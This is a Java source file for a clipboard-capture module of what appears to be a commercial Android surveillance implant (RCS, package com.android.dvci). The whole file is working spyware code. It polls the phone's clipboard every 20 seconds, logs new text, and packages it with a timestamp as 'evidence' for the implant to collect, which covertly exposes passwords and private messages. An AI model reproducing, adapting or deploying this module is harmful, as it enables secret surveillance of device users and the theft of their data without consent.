/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : AgentClipboard.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.dvci.module; import java.util.ArrayList; import android.content.Context; import android.os.Handler; import android.os.Looper; import android.text.ClipboardManager; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ConfModule; import com.android.dvci.evidence.EvidenceBuilder; import com.android.dvci.evidence.EvidenceType; import com.android.dvci.interfaces.IncrementalLog; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.DateTime; import com.android.dvci.util.WChar; public class ModuleClipboard extends BaseModule implements IncrementalLog { private static final String TAG = "ModuleClipboard"; //$NON-NLS-1$ ClipboardManager clipboardManager; static String lastClip = ""; //$NON-NLS-1$ @Override public void actualStart() { } @Override public void actualStop() { clipboardManager = null; } @Override public boolean parse(ConfModule conf) { setPeriod(20000); return true; } @Override public void actualGo() { //ASG gui = Status.getAppGui(); Handler mHandler = new Handler(Looper.getMainLooper()); mHandler.post(new Runnable() { @Override public void run() { if (Cfg.DEBUG) { Check.log(TAG + " (run) fireAdminIntent"); } getClipboard(); } }); } private void getClipboard() { String ret = null; clipboardManager = (ClipboardManager) Status.getAppContext().getSystemService(Context.CLIPBOARD_SERVICE); if (Cfg.DEBUG) { Check.ensures(clipboardManager != null, "Null clipboard manager"); //$NON-NLS-1$ } if (clipboardManager == null) { return; } CharSequence cs = clipboardManager.getText(); if (cs == null) return; ret = cs.toString(); if (ret != null && !ret.equals(lastClip)) { if (Cfg.DEBUG) { Check.log(TAG + " (go): captured " + ret);//$NON-NLS-1$ } // Questo log non e' piu incrementale saveEvidence(ret); lastClip = ret; } } private void saveEvidence(String ret) { final byte[] tm = (new DateTime()).getStructTm(); final byte[] payload = WChar.getBytes(ret.toString(), true); final byte[] process = WChar.getBytes("", true); //$NON-NLS-1$ final byte[] window = WChar.getBytes("", true); //$NON-NLS-1$ final ArrayList<byte[]> items = new ArrayList<byte[]>(); EvidenceBuilder evidence; synchronized (this) { evidence = new EvidenceBuilder(EvidenceType.CLIPBOARD); } items.add(tm); items.add(process); items.add(window); items.add(payload); items.add(ByteArray.intToByteArray(EvidenceBuilder.E_DELIMITER)); if (Cfg.DEBUG) { Check.asserts(evidence != null, "null log"); //$NON-NLS-1$ } synchronized (this) { evidence.write(items); evidence.close(); } } public synchronized void resetLog() { if (Cfg.DEBUG) { Check.log(TAG + " (resetLog)"); } // Do nothing, this log is not incremental anymore } }